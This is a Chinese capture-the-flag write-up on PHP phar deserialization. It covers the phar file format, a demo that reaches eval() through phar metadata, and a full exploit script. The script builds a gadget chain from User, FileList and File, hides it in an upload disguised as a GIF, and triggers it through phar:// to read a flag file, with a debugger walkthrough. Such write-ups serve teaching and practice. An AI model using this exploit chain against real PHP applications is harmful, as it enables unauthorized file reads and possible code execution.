先声明一下,这道题异常复杂,网上很多wp的payload是对的,但是过程分析都有一定的偏差,我耗时4个小时通过动态调试终于搞明白了,给自己点个赞
主要考点
phar反序列化
题目
注册进去传个文件,只能传图片,然后存在一个任意文件下载(当然其实这里下载源码后发现只能下载三个大目录的东西,这是个关键点,留着后面说)
下载源码后分析一下,class存在三个类
<?php //$dbaddr = "127.0.0.1"; //$dbuser = "root"; //$dbpass = "root"; //$dbname = "dropbox"; //$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname); class User { public $db; public function __construct() { global $db; $this->db = $db; } public function user_exist($username) { $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;"); $stmt->bind_param("s", $username); $stmt->execute(); $stmt->store_result(); $count = $stmt->num_rows; if ($count === 0) { return false; } return true; } public function add_user($username, $password) { if ($this->user_exist($username)) { return false; } $password = sha1($password . "SiAchGHmFx"); $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);"); $stmt->bind_param("ss", $username, $password); $stmt->execute(); return true; } public function verify_user($username, $password) { if (!$this->user_exist($username)) { return false; } $password = sha1($password . "SiAchGHmFx"); $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;"); $stmt->bind_param("s", $username); $stmt->execute(); $stmt->bind_result($expect); $stmt->fetch(); if (isset($expect) && $expect === $password) { return true; } return false; } public function __destruct() { $this->db->close(); } } class FileList { private $files; private $results; private $funcs; public function __construct($path) { $this->files = array(); $this->results = array(); $this->funcs = array(); $filenames = scandir($path); $key = array_search(".", $filenames); unset($filenames[$key]); $key = array_search("..", $filenames); unset($filenames[$key]); foreach ($filenames as $filename) { $file = new File(); $file->open($path . $filename); array_push($this->files, $file); $this->results[$file->name()] = array(); } } public function __call($func, $args) { array_push($this->funcs, $func); foreach ($this->files as $file) { $this->results[$file->name()][$func] = $file->$func(); } } public function __destruct() { $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">'; $table .= '<thead><tr>'; foreach ($this->funcs as $func) { $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>'; } $table .= '<th scope="col" class="text-center">Opt</th>'; $table .= '</thead><tbody>'; foreach ($this->results as $filename => $result) { $table .= '<tr>'; foreach ($result as $func => $value) { $table .= '<td class="text-center">' . htmlentities($value) . '</td>'; } $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>'; $table .= '</tr>'; } echo $table; } } class File { public $filename; public function open($filename) { $this->filename = $filename; if (file_exists($filename) && !is_dir($filename)) { return true; } else { return false; } } public function name() { return basename($this->filename); } public function size() { $size = filesize($this->filename); $units = array(' B', ' KB', ' MB', ' GB', ' TB'); for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024; return round($size, 2).$units[$i]; } public function detele() { unlink($this->filename); } public function close() { return file_get_contents($this->filename); } } ?>
index.php没啥用不看了
download.php好像可以任意文件下载和phar反序列化
<?php //session_start(); //if (!isset($_SESSION['login'])) { // header("Location: login.php"); // die(); //} // //if (!isset($_POST['filename'])) { // die(); //} include "class.php"; ini_set("open_basedir", getcwd() . ":/etc:/tmp"); //chdir($_SESSION['sandbox']); $file = new File(); $filename = 'phar://exp.phar'; if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) { Header("Content-type: application/octet-stream"); Header("Content-Disposition: attachment; filename=" . basename($filename)); echo $file->close(); } else { echo "File not exist"; } ?>
delete.php好像也可以phar反序列化
<?php //session_start(); //if (!isset($_SESSION['login'])) { // header("Location: login.php"); // die(); //} // //if (!isset($_POST['filename'])) { // die(); //} include "class.php"; //chdir($_SESSION['sandbox']); $file = new File(); $filename = 'phar://exp.phar'; if (strlen($filename) < 40 && $file->open($filename)) { $file->detele(); Header("Content-type: application/json"); $response = array("success" => true, "error" => ""); echo json_encode($response); } else { Header("Content-type: application/json"); $response = array("success" => false, "error" => "File not exist"); echo json_encode($response); } ?>
ps:这里三个代码我进行过微调了,是为了后面进行动态调试准备的,如果你跟着我做的话可以直接使用
考点原理分析
phar文件结构
1. a stub
可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。
2. a manifest describing the contents
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。
3. the file contents
被压缩文件的内容。
4. [optional] a signature for verifying Phar integrity (phar file format only)
签名,放在文件末尾
利用条件
phar文件要能够上传到服务器端。
要有可用的魔术方法作为“跳板”。
文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。
demo
根据文件结构我们来自己构建一个phar文件,php内置了一个Phar类来处理相关操作。
注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。
<?php class TestObject { public $file=''; } @unlink('test.phar'); //删除之前的test.par文件(如果有) $phar=new Phar('test.phar'); //创建一个phar对象,文件名必须以phar为后缀 $phar->startBuffering(); //开始写文件 $phar->setStub('<?php __HALT_COMPILER(); ?>'); //写入stub $o=new TestObject(); $o->file='phpinfo();'; $phar->setMetadata($o);//写入meta-data $phar->addFromString("test.txt","test"); //添加要压缩的文件 //自动计算签名 $phar->stopBuffering(); ?>
metadata.bin就是序列化的数据
<?php class TestObject { var $file="echo 'ok';"; function __destruct() { eval($this->file); } } $filename='phar://test.phar'; var_dump(file_get_contents($filename)); ?>
如果我们存在TestObjet,看一下执行
能进行phar反序列化的函数有
解题
看到这的朋友可能会奇怪一个问题,这题是没有eval或者自定义function的函数的,并不能直接getshell,应该如何做呢?
任意文件读取的话,仿佛可利用点非常多,但是如何绕过限制进行传入呢?
先说明下,这题思路很复杂,我没做出来,直接看的wp
exp.php
<?php // add object of any class as meta data class User { public $db; } class FileList { private $files; public function __construct() { $this->files=array(new File()); } } class File { public $filename='/flag.txt';//绝对路径 } $b=new FileList(); $c=new User(); $c->db=$b; @unlink('exp.phar'); $a=new Phar('exp.phar'); $a->startBuffering(); $a->setStub('<?php __HALT_COMPILER(); ?>'); $a->setMetadata($c); $a->addFromString("test.txt","test"); $a->stopBuffering();
生成了exp.phar后,在上传位置image/gif,filname=exp.gif的文件
在下载时让filename=phar://exp.gif即可获得flag
到这里其实一点都不直观,我们反推它的流程也非常难以理解,这也确实困扰到了我,所以我们进行动态试试看
剖析
动态需要xdebug,具体流程请自行百度
这里就提醒大家一点,如果是xdebug3的话这样配置
[XDebug]
zend_extension = C:\php\ext\php_xdebug-3.0.4-7.4-vc15-nts-x86_64.dll
xdebug.mode = debug
xdebug.start_with_request = yes
xdebug.client_host = localhost
xdebug.client_port = 9000
xdebug.idekey = PHPSTORM
开始动态调试:
首先从delete.php开始
注意此时还没进入if,$file的filename为空
进入$file->open
此时我们发现了一个漏洞函数file_exists,当他接触到phar时进行了反序列化
但是由于不存在phar://exp.phar的文件(存在的是exp.phar),返回false
所以进行else,最终返回file not exist
然后我们还能继续往下走,为什么呢?因为我们反序列化已经触发了类的实例化,此时需要析构了
由于FileList不存在close()
此时触发__call,才把我们想要的/flag.txt传进去(此处本地写了个flag.txt)
触发name函数,name返回后触发了File->close(),终于包含到了!!!!!!!! 注意这里非常重要,看不懂的多调几遍
close函数完毕,触发FileList的析构函数,才完成打印到页面的功能
问题一:
为什么不用download而用delete才能触发
解一:
还记得download.php中的这段吗?
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
它的意思如下:
只可以访问当前目录(getcwd()返回当前目录)、/etc和/tmp三个目录。
动态可以看出,download在 echo "File not exist"; 后并没有进行析构
原因在于我们要访问的/flag.txt并不在上述三个目录内,实例化对象时就失败了。
问题二:
此题的漏洞触发点是unlink吗?
解二:
很明显不是,此题根本没有走到if成立的条件中去,所以没有直接调用File->detele()
结果也看的出来,删除是失败的返回,而真正的触发点在file_exist上,file_get_content也只是读文件而已,未进行输出
问题三:
如此说来,我们直接用伪协议读取flag,不需要题目给的输出了,难道不行吗?
解三:
刚开始我也是这么想的,那我们试试呗。修改$filename='php://filter/convert.base64-encode/resource=/flag.txt'(此处依旧需要绝对路径)
最后动态发现流程一模一样,但是结果嘛
确实可以读取,但是还是要依赖于输出,有点多此一举了,不过如果他让我们去读php文件就能用得上了
同时也再一次证明了phar反序列化触发点不在file_get_content上